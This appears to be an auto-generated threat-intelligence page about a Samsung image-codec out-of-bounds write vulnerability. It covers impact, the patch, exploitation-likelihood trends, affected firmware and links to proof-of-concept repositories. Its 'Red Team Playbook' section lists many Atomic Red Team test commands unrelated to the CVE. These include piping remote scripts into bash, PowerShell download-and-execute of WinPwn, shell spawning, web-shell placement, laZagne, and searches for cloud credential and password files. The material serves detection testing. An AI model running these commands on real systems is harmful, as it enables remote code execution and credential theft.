CVE-2025-21042
Overview
This vulnerability is an out-of-bounds write occurring within the libimagecodec.quram.so library component of Samsung Mobile Devices. The root cause involves improper boundary checking when processing image codec data, leading to memory corruption. The flaw affects multiple Samsung Android 13.0 firmware versions prior to the April 2025 Security Maintenance Release (SMR).
Vulnerability Description
Out-of-bounds write in libimagecodec.quram.so prior to SMR Apr-2025 Release 1 allows remote attackers to execute arbitrary code.
Impact
An attacker can execute arbitrary code remotely by convincing a user to open a specially crafted image file, enabling full compromise of the affected device without prior authentication. This can lead to unauthorized access to sensitive data, persistent control over the device, and potential lateral movement within connected networks. The prerequisite is user interaction to process the malicious image, but no privileges or credentials are required. The business impact includes data breaches, device takeover, and disruption of mobile device operations critical to enterprise environments.
Solution
Samsung has addressed this vulnerability in the Security Maintenance Release April 2025 Release 1 for Samsung Mobile Devices running Android 13.0. Users and administrators should apply the April 2025 SMR update as detailed in Samsung's official security advisory at https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=04. This update replaces vulnerable library components and mitigates the out-of-bounds write flaw. No additional workarounds are specified.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the image codec library, specifically libimagecodec.quram.so, presents a critical risk due to an out-of-bounds write condition. This flaw allows attackers to manipulate memory allocation, potentially leading to arbitrary code execution. The underlying issue arises from improper validation of input data, which can be exploited when processing image files. Attackers can craft malicious images that, when processed by affected versions of the Android operating system, can overwrite memory locations, leading to unpredictable behavior of the application or system. Given the widespread use of Android devices, this vulnerability poses a significant threat to a large user base.
Exploitation of this vulnerability can occur through various attack vectors. An attacker may distribute a malicious image via email, social media, or even through compromised websites. Once a user interacts with the image, the vulnerable library processes it, triggering the out-of-bounds write. This exploitation can lead to the execution of arbitrary code, allowing the attacker to gain control over the affected device. Furthermore, the ability to execute code remotely means that attackers do not need physical access to the device, significantly increasing the attack surface and making it easier for malicious actors to target users.
The real-world impact of this vulnerability is profound, particularly for businesses that rely on Android devices for operations. The potential for arbitrary code execution can lead to unauthorized access to sensitive data, including personal information, corporate secrets, and financial records. Moreover, the exploitation of this vulnerability could result in significant downtime, loss of customer trust, and potential legal ramifications. Organizations that fail to address this vulnerability may face reputational damage and financial losses, especially if customer data is compromised or if the devices are used in critical business processes.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Android operating system and applying security patches as they become available is crucial. Additionally, employing intrusion detection systems can help identify anomalous behavior associated with exploitation attempts. Organizations should also consider implementing application whitelisting to restrict the execution of unauthorized applications and code. User education is equally important; informing users about the risks of opening untrusted files can significantly reduce the likelihood of successful exploitation.
In conclusion, the out-of-bounds write vulnerability in the image codec library represents a serious threat to Android devices, with the potential for widespread exploitation leading to significant business risks. Organizations must prioritize the detection and mitigation of this vulnerability through timely updates, robust security practices, and user awareness initiatives. By taking proactive measures, businesses can safeguard their operations and protect their users from the consequences of this critical vulnerability.
CSURFACE threat intelligence has detected a measurable increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2025-21042, reflecting a near 30% rise in the likelihood of exploitation. This upward adjustment, coupled with a steady upward trend over the past week, signals growing attacker interest and potential weaponization momentum. Additionally, the recent inclusion of this vulnerability in the Known Exploited Vulnerability (KEV) catalog underscores its elevated priority within the threat landscape. While ransomware usage remains unconfirmed, the enhanced EPSS score and the availability of new proof-of-concept exploits on public platforms indicate that adversaries are actively exploring or developing attack vectors. For defenders, this evolution necessitates heightened vigilance as the risk of successful exploitation is increasing, potentially leading to more frequent or sophisticated attacks targeting Samsung mobile devices. Consequently, the threat level for CVE-2025-21042 should be considered elevated, warranting closer monitoring and accelerated response efforts.
Affected Products (86)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:-:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-apr-2022-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-apr-2023-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-apr-2024-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-aug-2022-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-aug-2023-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-aug-2024-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-dec-2021-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-dec-2022-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-dec-2023-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-dec-2024-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-feb-2022-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-feb-2023-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-feb-2024-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-feb-2025-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-jan-2022-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-jan-2023-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-jan-2024-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-jan-2025-r1:*:*:*:*:*:*
|
|
|
Samsung | Android | 13.0 |
cpe:2.3:o:samsung:android:13.0:smr-jul-2022-r1:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
patricnilackshan/Samsung-CVE-2025-21042
CVE-2025-21042
|
patricnilackshan | 0 | 1 | 2025-11-11 | View |
|
PoC
|
- | 0 | 0 | - | View |
Threat Feed
4 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-21042 |
| security.samsungmobile.com |
GitHub CVE
|
https://security.samsungmobile.com/securityUpdate.smsb?year=2025&month=04 |
| unit42.paloaltonetworks.com |
NVD API
Technical Description
Third Party Advisory
|
https://unit42.paloaltonetworks.com/landfall-is-new-commercial-grade-android-spyware/ |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2025-21042 |